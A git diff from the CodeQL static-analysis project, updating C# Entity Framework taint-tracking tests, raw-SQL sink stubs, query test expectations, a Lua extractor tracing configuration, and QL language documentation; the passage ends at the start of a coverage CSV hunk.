 | EntityFramework.cs:129:18:129:25 | access to property Title | EntityFramework.cs:124:25:124:33 | "tainted" : String | EntityFramework.cs:129:18:129:25 | access to property Title | $@ | EntityFramework.cs:124:25:124:33 | "tainted" : String | "tainted" : String |
@@ -341,17 +341,17 @@ subpaths
 | EntityFramework.cs:219:18:219:61 | access to property Street | EntityFramework.cs:145:34:145:42 | "tainted" : String | EntityFramework.cs:219:18:219:61 | access to property Street | $@ | EntityFramework.cs:145:34:145:42 | "tainted" : String | "tainted" : String |
 | EntityFramework.cs:219:18:219:61 | access to property Street | EntityFramework.cs:159:26:159:34 | "tainted" : String | EntityFramework.cs:219:18:219:61 | access to property Street | $@ | EntityFramework.cs:159:26:159:34 | "tainted" : String | "tainted" : String |
 | EntityFramework.cs:219:18:219:61 | access to property Street | EntityFramework.cs:180:26:180:34 | "tainted" : String | EntityFramework.cs:219:18:219:61 | access to property Street | $@ | EntityFramework.cs:180:26:180:34 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:76:18:76:28 | access to local variable taintSource | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:76:18:76:28 | access to local variable taintSource | $@ | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:77:18:77:46 | (...) ... | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:77:18:77:46 | (...) ... | $@ | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:78:18:78:42 | (...) ... | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | EntityFrameworkCore.cs:78:18:78:42 | (...) ... | $@ | EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:155:18:155:25 | access to property Title | EntityFrameworkCore.cs:150:25:150:33 | "tainted" : String | EntityFrameworkCore.cs:155:18:155:25 | access to property Title | $@ | EntityFrameworkCore.cs:150:25:150:33 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name | EntityFrameworkCore.cs:87:24:87:32 | "tainted" : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name | $@ | EntityFrameworkCore.cs:87:24:87:32 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name | EntityFrameworkCore.cs:109:24:109:32 | "tainted" : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name | $@ | EntityFrameworkCore.cs:109:24:109:32 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name | EntityFrameworkCore.cs:131:24:131:32 | "tainted" : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name | $@ | EntityFrameworkCore.cs:131:24:131:32 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name | EntityFrameworkCore.cs:201:24:201:32 | "tainted" : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name | $@ | EntityFrameworkCore.cs:201:24:201:32 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:238:18:238:45 | access to property Street | EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | EntityFrameworkCore.cs:238:18:238:45 | access to property Street | $@ | EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:238:18:238:45 | access to property Street | EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | EntityFrameworkCore.cs:238:18:238:45 | access to property Street | $@ | EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:238:18:238:45 | access to property Street | EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | EntityFrameworkCore.cs:238:18:238:45 | access to property Street | $@ | EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:245:18:245:61 | access to property Street | EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:61 | access to property Street | $@ | EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:245:18:245:61 | access to property Street | EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:61 | access to property Street | $@ | EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | "tainted" : String |
-| EntityFrameworkCore.cs:245:18:245:61 | access to property Street | EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:61 | access to property Street | $@ | EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:83:18:83:28 | access to local variable taintSource | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:83:18:83:28 | access to local variable taintSource | $@ | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:84:18:84:46 | (...) ... | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:84:18:84:46 | (...) ... | $@ | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:85:18:85:42 | (...) ... | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | EntityFrameworkCore.cs:85:18:85:42 | (...) ... | $@ | EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:162:18:162:25 | access to property Title | EntityFrameworkCore.cs:157:25:157:33 | "tainted" : String | EntityFrameworkCore.cs:162:18:162:25 | access to property Title | $@ | EntityFrameworkCore.cs:157:25:157:33 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name | EntityFrameworkCore.cs:94:24:94:32 | "tainted" : String | EntityFrameworkCore.cs:237:18:237:41 | access to property Name | $@ | EntityFrameworkCore.cs:94:24:94:32 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name | EntityFrameworkCore.cs:116:24:116:32 | "tainted" : String | EntityFrameworkCore.cs:237:18:237:41 | access to property Name | $@ | EntityFrameworkCore.cs:116:24:116:32 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name | EntityFrameworkCore.cs:138:24:138:32 | "tainted" : String | EntityFrameworkCore.cs:237:18:237:41 | access to property Name | $@ | EntityFrameworkCore.cs:138:24:138:32 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name | EntityFrameworkCore.cs:208:24:208:32 | "tainted" : String | EntityFrameworkCore.cs:237:18:237:41 | access to property Name | $@ | EntityFrameworkCore.cs:208:24:208:32 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:245:18:245:45 | access to property Street | EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:45 | access to property Street | $@ | EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:245:18:245:45 | access to property Street | EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:45 | access to property Street | $@ | EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:245:18:245:45 | access to property Street | EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | EntityFrameworkCore.cs:245:18:245:45 | access to property Street | $@ | EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:252:18:252:61 | access to property Street | EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | EntityFrameworkCore.cs:252:18:252:61 | access to property Street | $@ | EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:252:18:252:61 | access to property Street | EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | EntityFrameworkCore.cs:252:18:252:61 | access to property Street | $@ | EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | "tainted" : String |
+| EntityFrameworkCore.cs:252:18:252:61 | access to property Street | EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | EntityFrameworkCore.cs:252:18:252:61 | access to property Street | $@ | EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | "tainted" : String |
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/EntityFrameworkCore.cs b/csharp/ql/test/library-tests/frameworks/EntityFramework/EntityFrameworkCore.cs
index 4cf1dd138c8..b45290dc799 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/EntityFrameworkCore.cs
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/EntityFrameworkCore.cs
@@ -56,7 +56,7 @@ namespace EFCoreTests
 
         Microsoft.EntityFrameworkCore.Storage.IRawSqlCommandBuilder builder;
 
-        async void SqlExprs(MyContext ctx)
+        async void SqlExprs(MyContext ctx, System.Threading.CancellationToken token)
         {
             // Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions.ExecuteSqlCommand
             ctx.Database.ExecuteSqlCommand("");  // SqlExpr
@@ -68,6 +68,13 @@ namespace EFCoreTests
             // Microsoft.EntityFrameworkCore.RawSqlString
             new RawSqlString("");  // SqlExpr
             RawSqlString str = "";  // SqlExpr
+
+            ctx.Persons.FromSqlRaw("sql");
+            ctx.Database.ExecuteSqlRaw("sql", (IEnumerable<object>)null);
+            ctx.Database.ExecuteSqlRaw("sql");
+            await ctx.Database.ExecuteSqlRawAsync("sql", token);
+            await ctx.Database.ExecuteSqlRawAsync("sql");
+            await ctx.Database.ExecuteSqlRawAsync("sql", (IEnumerable<object>)null, token);
         }
 
         void TestRawSqlStringDataFlow()
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.expected b/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.expected
index 9e043ec7486..9fb5be26eeb 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.expected
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.expected
@@ -1,3 +1,4 @@
+summary
 | Microsoft.EntityFrameworkCore;DbContext;false;SaveChanges;();;Argument[Qualifier].Property[EFCoreTests.MyContext.Addresses].Element.Property[EFCoreTests.Address.Id];ReturnValue[jump to get_Addresses].Element.Property[EFCoreTests.Address.Id];value |
 | Microsoft.EntityFrameworkCore;DbContext;false;SaveChanges;();;Argument[Qualifier].Property[EFCoreTests.MyContext.Addresses].Element.Property[EFCoreTests.Address.Id];ReturnValue[jump to get_PersonAddresses].Element.Property[EFCoreTests.PersonAddressMap.Address].Property[EFCoreTests.Address.Id];value |
 | Microsoft.EntityFrameworkCore;DbContext;false;SaveChanges;();;Argument[Qualifier].Property[EFCoreTests.MyContext.Addresses].Element.Property[EFCoreTests.Address.Id];ReturnValue[jump to get_Persons].Element.Property[EFCoreTests.Person.Addresses].Element.Property[EFCoreTests.Address.Id];value |
@@ -130,3 +131,11 @@
 | System.Data.Entity;DbSet<>;false;AttachRange;(System.Collections.Generic.IEnumerable<T>);;Argument[0].Element;Argument[Qualifier].Element;value |
 | System.Data.Entity;DbSet<>;false;Update;(T);;Argument[0];Argument[Qualifier].Element;value |
 | System.Data.Entity;DbSet<>;false;UpdateRange;(System.Collections.Generic.IEnumerable<T>);;Argument[0].Element;Argument[Qualifier].Element;value |
+sourceNode
+sinkNode
+| EntityFrameworkCore.cs:72:36:72:40 | "sql" | sql |
+| EntityFrameworkCore.cs:73:40:73:44 | "sql" | sql |
+| EntityFrameworkCore.cs:74:40:74:44 | "sql" | sql |
+| EntityFrameworkCore.cs:75:51:75:55 | "sql" | sql |
+| EntityFrameworkCore.cs:76:51:76:55 | "sql" | sql |
+| EntityFrameworkCore.cs:77:51:77:55 | "sql" | sql |
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.ql b/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.ql
index 61bee675bf1..41cc8379b3d 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.ql
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/FlowSummaries.ql
@@ -1,6 +1,13 @@
 import semmle.code.csharp.frameworks.EntityFramework::EntityFramework
 import shared.FlowSummaries
+import semmle.code.csharp.dataflow.ExternalFlow as ExternalFlow
 
 private class IncludeEFSummarizedCallable extends IncludeSummarizedCallable {
   IncludeEFSummarizedCallable() { this instanceof EFSummarizedCallable }
 }
+
+query predicate sourceNode(DataFlow::Node node, string kind) {
+  ExternalFlow::sourceNode(node, kind)
+}
+
+query predicate sinkNode(DataFlow::Node node, string kind) { ExternalFlow::sinkNode(node, kind) }
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/SqlExprs.expected b/csharp/ql/test/library-tests/frameworks/EntityFramework/SqlExprs.expected
index faaddc5257b..5008ff2695c 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/SqlExprs.expected
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/SqlExprs.expected
@@ -3,5 +3,11 @@
 | EntityFrameworkCore.cs:66:13:66:29 | call to method Build |
 | EntityFrameworkCore.cs:69:13:69:32 | object creation of type RawSqlString |
 | EntityFrameworkCore.cs:70:32:70:33 | call to operator implicit conversion |
-| EntityFrameworkCore.cs:77:18:77:46 | object creation of type RawSqlString |
-| EntityFrameworkCore.cs:78:18:78:42 | call to operator implicit conversion |
+| EntityFrameworkCore.cs:72:13:72:41 | call to method FromSqlRaw<Person> |
+| EntityFrameworkCore.cs:73:13:73:72 | call to method ExecuteSqlRaw |
+| EntityFrameworkCore.cs:74:13:74:45 | call to method ExecuteSqlRaw |
+| EntityFrameworkCore.cs:75:19:75:63 | call to method ExecuteSqlRawAsync |
+| EntityFrameworkCore.cs:76:19:76:56 | call to method ExecuteSqlRawAsync |
+| EntityFrameworkCore.cs:77:19:77:90 | call to method ExecuteSqlRawAsync |
+| EntityFrameworkCore.cs:84:18:84:46 | object creation of type RawSqlString |
+| EntityFrameworkCore.cs:85:18:85:42 | call to operator implicit conversion |
diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/StoredFlowSources.expected b/csharp/ql/test/library-tests/frameworks/EntityFramework/StoredFlowSources.expected
index 4a0ecb82c3f..2b6c64790ce 100644
--- a/csharp/ql/test/library-tests/frameworks/EntityFramework/StoredFlowSources.expected
+++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/StoredFlowSources.expected
@@ -10,11 +10,11 @@
 | EntityFramework.cs:219:18:219:61 | access to property Street |
 | EntityFrameworkCore.cs:52:22:52:25 | access to property Id |
 | EntityFrameworkCore.cs:53:24:53:29 | access to property Name |
-| EntityFrameworkCore.cs:229:18:229:39 | access to property Id |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name |
-| EntityFrameworkCore.cs:237:18:237:41 | access to property Id |
-| EntityFrameworkCore.cs:238:18:238:45 | access to property Street |
-| EntityFrameworkCore.cs:244:18:244:46 | access to property Addresses |
-| EntityFrameworkCore.cs:244:18:244:57 | access to property Id |
-| EntityFrameworkCore.cs:245:18:245:46 | access to property Addresses |
-| EntityFrameworkCore.cs:245:18:245:61 | access to property Street |
+| EntityFrameworkCore.cs:236:18:236:39 | access to property Id |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name |
+| EntityFrameworkCore.cs:244:18:244:41 | access to property Id |
+| EntityFrameworkCore.cs:245:18:245:45 | access to property Street |
+| EntityFrameworkCore.cs:251:18:251:46 | access to property Addresses |
+| EntityFrameworkCore.cs:251:18:251:57 | access to property Id |
+| EntityFrameworkCore.cs:252:18:252:46 | access to property Addresses |
+| EntityFrameworkCore.cs:252:18:252:61 | access to property Street |
diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs
index 2c6ea6bafbf..e3aa1ad3067 100644
--- a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs	
+++ b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs	
@@ -22,6 +22,7 @@ class Test
         var good7 = (Action<int>)((int x) => { });
         func = x => x;
         exprFunc = x => x;
+        exprFuncUntyped = (Expression<Func<int, int?>>)(x => x); // FP
     }
 
     enum Enum
@@ -35,4 +36,5 @@ class Test
 
     private Func<int, int?> func;
     private Expression<Func<int, int?>> exprFunc;
+    private LambdaExpression exprFuncUntyped;
 }
diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.expected b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.expected
index 7310437e1ef..11ac047b255 100644
--- a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.expected	
+++ b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.expected	
@@ -2,5 +2,6 @@
 | UselessCastToSelf.cs:10:20:10:29 | (...) ... | This cast is redundant because the expression already has type Test. |
 | UselessCastToSelf.cs:11:20:11:31 | ... as ... | This cast is redundant because the expression already has type Test. |
 | UselessCastToSelf.cs:13:20:13:56 | (...) ... | This cast is redundant because the expression already has type Expression<Func<Int32,Nullable<Int32>>>. |
-| UselessCastToSelf.cs:31:17:31:22 | (...) ... | This cast is redundant because the expression already has type Int32. |
-| UselessCastToSelf.cs:33:24:33:29 | (...) ... | This cast is redundant because the expression already has type Int32. |
+| UselessCastToSelf.cs:25:27:25:63 | (...) ... | This cast is redundant because the expression already has type Expression<Func<Int32,Nullable<Int32>>>. |
+| UselessCastToSelf.cs:32:17:32:22 | (...) ... | This cast is redundant because the expression already has type Int32. |
+| UselessCastToSelf.cs:34:24:34:29 | (...) ... | This cast is redundant because the expression already has type Int32. |
diff --git a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.expected b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.expected
index c892fe902e7..37c4fb6a2d7 100644
--- a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.expected	
+++ b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.expected	
@@ -1 +1,8 @@
-| Test.cs:15:25:15:80 | ... + ... | $@ flows to here and is inserted as XML. | Test.cs:8:27:8:49 | access to property QueryString | User-provided value |
+edges
+| Test.cs:8:27:8:49 | access to property QueryString : NameValueCollection | Test.cs:15:25:15:80 | ... + ... |
+nodes
+| Test.cs:8:27:8:49 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection |
+| Test.cs:15:25:15:80 | ... + ... | semmle.label | ... + ... |
+subpaths
+#select
+| Test.cs:15:25:15:80 | ... + ... | Test.cs:8:27:8:49 | access to property QueryString : NameValueCollection | Test.cs:15:25:15:80 | ... + ... | $@ flows to here and is inserted as XML. | Test.cs:8:27:8:49 | access to property QueryString : NameValueCollection | User-provided value |
diff --git a/csharp/ql/test/resources/stubs/EntityFramework.cs b/csharp/ql/test/resources/stubs/EntityFramework.cs
index 85903ed8799..4612349a923 100644
--- a/csharp/ql/test/resources/stubs/EntityFramework.cs
+++ b/csharp/ql/test/resources/stubs/EntityFramework.cs
@@ -88,10 +88,16 @@ namespace Microsoft.EntityFrameworkCore
         }
     }
 
-    public static class RelationalDatabaseFacaseExtensions
+    public static class RelationalDatabaseFacadeExtensions
     {
         public static void ExecuteSqlCommand(this Infrastructure.DatabaseFacade db, string sql, params object[] parameters) { }
         public static Task ExecuteSqlCommandAsync(this Infrastructure.DatabaseFacade db, string sql, params object[] parameters) => throw null;
+
+        public static int ExecuteSqlRaw(this Infrastructure.DatabaseFacade db, string sql, IEnumerable<object> args) => throw null;
+        public static int ExecuteSqlRaw(this Infrastructure.DatabaseFacade db, string sql, params object[] args) => throw null;
+        public static Task<int> ExecuteSqlRawAsync(this Infrastructure.DatabaseFacade db, string sql, System.Threading.CancellationToken token) => throw null;
+        public static Task<int> ExecuteSqlRawAsync(this Infrastructure.DatabaseFacade db, string sql, params object[] args) => throw null;
+        public static Task<int> ExecuteSqlRawAsync(this Infrastructure.DatabaseFacade db, string sql, IEnumerable<object> args, System.Threading.CancellationToken token) => throw null;
     }
 
     struct RawSqlString
@@ -100,6 +106,11 @@ namespace Microsoft.EntityFrameworkCore
         public static implicit operator Microsoft.EntityFrameworkCore.RawSqlString(FormattableString fs) => throw null;
         public static implicit operator Microsoft.EntityFrameworkCore.RawSqlString(string s) => throw null;
     }
+
+    public static class RelationalQueryableExtensions
+    {
+        public static void FromSqlRaw<TEntity>(this DbSet<TEntity> set, string sql, params object[] args) => throw null;
+    }
 }
 
 namespace Microsoft.EntityFrameworkCore.Storage
diff --git a/csharp/tools/tracing-config.lua b/csharp/tools/tracing-config.lua
new file mode 100644
index 00000000000..b4ff0206b02
--- /dev/null
+++ b/csharp/tools/tracing-config.lua
@@ -0,0 +1,57 @@
+function RegisterExtractorPack(id)
+    local extractor = GetPlatformToolsDirectory() ..
+                          'Semmle.Extraction.CSharp.Driver'
+    if OperatingSystem == 'windows' then extractor = extractor .. '.exe' end
+    local windowsMatchers = {
+        CreatePatternMatcher({'^dotnet%.exe$'}, MatchCompilerName, extractor, {
+            prepend = {'--dotnetexec', '--cil'},
+            order = ORDER_BEFORE
+        }),
+        CreatePatternMatcher({'^csc.*%.exe$'}, MatchCompilerName, extractor, {
+            prepend = {'--compiler', '"${compiler}"', '--cil'},
+            order = ORDER_BEFORE
+
+        }),
+        CreatePatternMatcher({'^fakes.*%.exe$', 'moles.*%.exe'},
+                             MatchCompilerName, nil, {trace = false})
+    }
+    local posixMatchers = {
+        CreatePatternMatcher({'^mcs%.exe$', '^csc%.exe$'}, MatchCompilerName,
+                             extractor, {
+            prepend = {'--compiler', '"${compiler}"', '--cil'},
+            order = ORDER_BEFORE
+
+        }),
+        CreatePatternMatcher({'^mono', '^dotnet$'}, MatchCompilerName,
+                             extractor, {
+            prepend = {'--dotnetexec', '--cil'},
+            order = ORDER_BEFORE
+        }), function(compilerName, compilerPath, compilerArguments, _languageId)
+            if MatchCompilerName('^msbuild$', compilerName, compilerPath,
+                                 compilerArguments) or
+                MatchCompilerName('^xbuild$', compilerName, compilerPath,
+                                  compilerArguments) then
+                return {
+                    order = ORDER_REPLACE,
+                    invocation = BuildExtractorInvocation(id, compilerPath,
+                                                          compilerPath,
+                                                          compilerArguments,
+                                                          nil, {
+                        '/p:UseSharedCompilation=false'
+                    })
+
+                }
+            end
+        end
+    }
+    if OperatingSystem == 'windows' then
+        return windowsMatchers
+    else
+        return posixMatchers
+    end
+
+end
+
+-- Return a list of minimum supported versions of the configuration file format
+-- return one entry per supported major version.
+function GetCompatibleVersions() return {'1.0.0'} end
diff --git a/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst
index 724d050e488..d3b04a32a0b 100644
--- a/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst
+++ b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst
@@ -147,7 +147,7 @@ you could use the following command from the directory containing your database:
 
 The analysis generates a file in the v2.1.0 SARIF format that is supported by all versions of GitHub.
 This file can be uploaded to GitHub by executing ``codeql github upload-results`` or the code scanning API.
-For more information, see `Analyzing a CodeQL database <https://docs.github.com/en/code-security/secure-coding/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database>`__
+For more information, see `Analyzing a CodeQL database <https://docs.github.com/en/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database>`__
 or `Code scanning API <https://docs.github.com/en/rest/reference/code-scanning>`__ in the GitHub documentation.
 
 CodeQL query suites are ``.qls`` files that use directives to select queries to run
diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst
index 2ba7887fec0..46d0123d6d4 100644
--- a/docs/codeql/ql-language-reference/ql-language-specification.rst
+++ b/docs/codeql/ql-language-reference/ql-language-specification.rst
@@ -364,7 +364,7 @@ A *variable declaration list* provides a sequence of variables and a type for ea
 ::
 
    var_decls ::= (var_decl ("," var_decl)*)?
-   var_decl ::= type simpleId
+   var_decl ::= type lowerId
 
 A valid variable declaration list must not include two declarations with the same variable name. Moreover, if the declaration has a typing environment that applies, it must not use a variable name that is already present in that typing environment.
 
@@ -585,7 +585,7 @@ Identifiers are used in following syntactic constructs:
    dbasetype     ::= atLowerId
    predicateRef  ::= (moduleId "::")? literalId
    predicateName ::= lowerId
-   varname       ::= simpleId
+   varname       ::= lowerId
    literalId     ::= lowerId | atLowerId
 
 Integer literals (int)
@@ -948,7 +948,7 @@ The ``select`` keyword is followed by a number of *select expressions*. Select e
 ::
 
    as_exprs ::= as_expr ("," as_expr)*
-   as_expr ::= expr ("as" simpleId)?
+   as_expr ::= expr ("as" lowerId)?
 
 The keyword ``as`` gives a *label* to the select expression it is part of. No two select expressions may have the same label. No expression label may be the same as one of the variables of the select clause.
 
@@ -957,7 +957,7 @@ The ``order`` keyword, if present, is followed by a number of *ordering directiv
 ::
 
    orderbys ::= orderby ("," orderby)*
-   orderby ::= simpleId ("asc" | "desc")?
+   orderby ::= lowerId ("asc" | "desc")?
 
 Each identifier in an ordering directive must identify exactly one of the select expressions. It must either be the label of the expression, or it must be a variable expression that is equivalent to exactly one of the select expressions. The type of the designated select expression must be a subtype of a primitive type.
 
@@ -2042,11 +2042,11 @@ The complete grammar for QL is as follows:
 
    as_exprs ::= as_expr ("," as_expr)*
 
-   as_expr ::= expr ("as" simpleId)?
+   as_expr ::= expr ("as" lowerId)?
 
    orderbys ::= orderby ("," orderby)*
 
-   orderby ::= simpleId ("asc" | "desc")?
+   orderby ::= lowerId ("asc" | "desc")?
 
    predicate ::= qldoc? annotations head optbody
 
@@ -2095,7 +2095,7 @@ The complete grammar for QL is as follows:
          
    var_decls ::= (var_decl ("," var_decl)*)?
 
-   var_decl ::= type simpleId
+   var_decl ::= type lowerId
 
    formula ::= fparen
            |   disjunction
@@ -2216,6 +2216,6 @@ The complete grammar for QL is as follows:
 
    predicateName ::= lowerId
 
-   varname ::= simpleId
+   varname ::= lowerId
 
    literalId ::= lowerId | atLowerId | "any" | "none"
diff --git a/docs/codeql/ql-language-reference/variables.rst b/docs/codeql/ql-language-reference/variables.rst
index 2b84e125971..5179183ef78 100644
--- a/docs/codeql/ql-language-reference/variables.rst
+++ b/docs/codeql/ql-language-reference/variables.rst
@@ -24,7 +24,7 @@ Declaring a variable
 
 All variable declarations consist of a :ref:`type <types>` and a name for the variable. 
 The name can be any `identifier <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_
-that starts with an uppercase or lowercase letter.
+that starts with a lowercase letter.
 
 For example, ``int i``, ``SsaDefinitionNode node``, and ``LocalScopeVariable lsv`` declare
 variables ``i``, ``node``, and ``lsv`` with types ``int``, ``SsaDefinitionNode``, and
diff --git a/docs/codeql/support/reusables/frameworks.rst b/docs/codeql/support/reusables/frameworks.rst
index 93280c6732a..12bcd5af8e6 100644
--- a/docs/codeql/support/reusables/frameworks.rst
+++ b/docs/codeql/support/reusables/frameworks.rst
@@ -214,3 +214,4 @@ Python built-in support
    libtaxii, TAXII utility library
    libxml2, XML processing library
    lxml, XML processing library
+   xmltodict, XML processing library
diff --git a/docs/codeql/support/reusables/versions-compilers.rst b/docs/codeql/support/reusables/versions-compilers.rst
index 745fbb8a193..a5f68cb64e1 100644
--- a/docs/codeql/support/reusables/versions-compilers.rst
+++ b/docs/codeql/support/reusables/versions-compilers.rst
@@ -16,7 +16,7 @@
    .NET Core up to 3.1
 
    .NET 5, .NET 6","``.sln``, ``.csproj``, ``.cs``, ``.cshtml``, ``.xaml``"
-   Go (aka Golang), "Go up to 1.17", "Go 1.11 or more recent", ``.go``
+   Go (aka Golang), "Go up to 1.18", "Go 1.11 or more recent", ``.go``
    Java,"Java 7 to 18 [4]_","javac (OpenJDK and Oracle JDK),
 
    Eclipse compiler for Java (ECJ) [5]_",``.java``
diff --git a/docs/ql-libraries/dataflow/dataflow.md b/docs/ql-libraries/dataflow/dataflow.md
index 2ce0e308a16..1b6d52ee994 100644
--- a/docs/ql-libraries/dataflow/dataflow.md
+++ b/docs/ql-libraries/dataflow/dataflow.md
@@ -509,6 +509,12 @@ use-use steps. If local flow is implemented using def-use steps, then
 
 Note that `clearsContent(n, cs)` is interpreted using `cs.getAReadContent()`.
 
+Dually, there exists a predicate
+```ql
+predicate expectsContent(Node n, ContentSet c);
+```
+which acts as a barrier when data is _not_ stored inside one of `c.getAReadContent()`.
+
 ## Type pruning
 
 The library supports pruning paths when a sequence of value-preserving steps
diff --git a/java/documentation/library-coverage/coverage.csv b/java/documentation/library-coverage/coverage.csv
index e1c948a3f6a..bc147a2c914 100644
--- a/java/documentation/library-coverage/coverage.csv
+++ b/java/documentation/library-coverage/coverage.csv
@@ -1,118 +1,121 @@
